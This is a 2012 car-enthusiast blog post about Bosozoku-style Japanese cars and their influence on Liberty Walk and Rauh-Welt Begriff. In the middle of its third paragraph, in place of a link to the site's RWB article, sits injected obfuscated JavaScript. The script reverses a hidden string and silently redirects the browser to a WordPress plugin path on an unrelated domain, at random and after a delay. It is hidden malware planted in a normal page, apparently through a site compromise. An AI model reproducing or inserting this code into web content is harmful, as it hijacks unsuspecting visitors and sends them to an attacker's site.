Bosozoku Style. Form Over Function

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The previous examples of Bosozoku style cars were chosen to highlight the exaggerated form that this subculture evolved into, but much more common is the GC110 4 door Kenmeri (Yonmeri) Skyline, which straddles the line perfectly between Shakotan and Bosozoku style. Obligatory oil cooler hanging off the front end, bolt on arches cloaking deep dished rims and a crazy paint scheme are the visual clues but under that star emblazoned bonnet lies a highly tuned six-cylinder L-Series engine. Would you expect less when you discover that the owner is non-other than Kato Wataru?

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Kato-san is the owner of Liberty Walk and LB Performance who are purveyors of all things unattainable in the land of exotica. The Liberty Walk Ferrari and Lamborghini creations induce ‘trouser stirrings of the difficult to hide kind’ in all of us, and yet it is Kato-san‘s Shakotan sleds that he calls his ‘treasure’. Maybe it is just me – admittedly a disciple of all things JDM since I was knee-high to a kirigirisu – but I still detect a certain whiff of Bosozoku style about the Liberty Walk look even with the Italian exotics.

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Bosozoku style didn’t just vanish though. It matured and evolved just as the exponents of the style matured and evolved, and I would even argue the point that Bosozoku style has become somewhat mainstream. For evidence to support this possibly wild claim you need not look much further than $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/rauh-welt-begriff-dark-romantic-the-first-drive-pt-one/” target=”_blank”>our man of the moment, Akira Nakai.

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Nakai-san embodies the spirit of Bosozoku style in his working methodology. He approaches each new creation like an artist or a sculptor and spends hours staring at his work-in-progress tweaking this, altering that and waiting for the form to appear through the hazy cloud of cigarette smoke. All of the Bosozoku style elements are there (sans extended tail-pipes) but combined in a package that is also extremely functional as anyone who has driven one of his creations will testify to.

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RWB paint guru Nojima Yusuke‘s ae86 Levin (Real of the World) demonstrates all the features we associate with an RWB Porker but its appeal is probably limited to Toyotaku. Bosozoku style has been around for over thirty years and has been refined and incorporated into mainstream Japanese car culture. Nakai-san’s genius and the reason for the international success of Rauh-Welt Begriff is that he has chosen to throw this same style into the Porsche arena.

Long live Bosozoku style!

ORIGINAL POST DATE: July 2012

– Shots courtesy of Japanese Nostalgic Car, Coupe Wiki and Bosozoku Style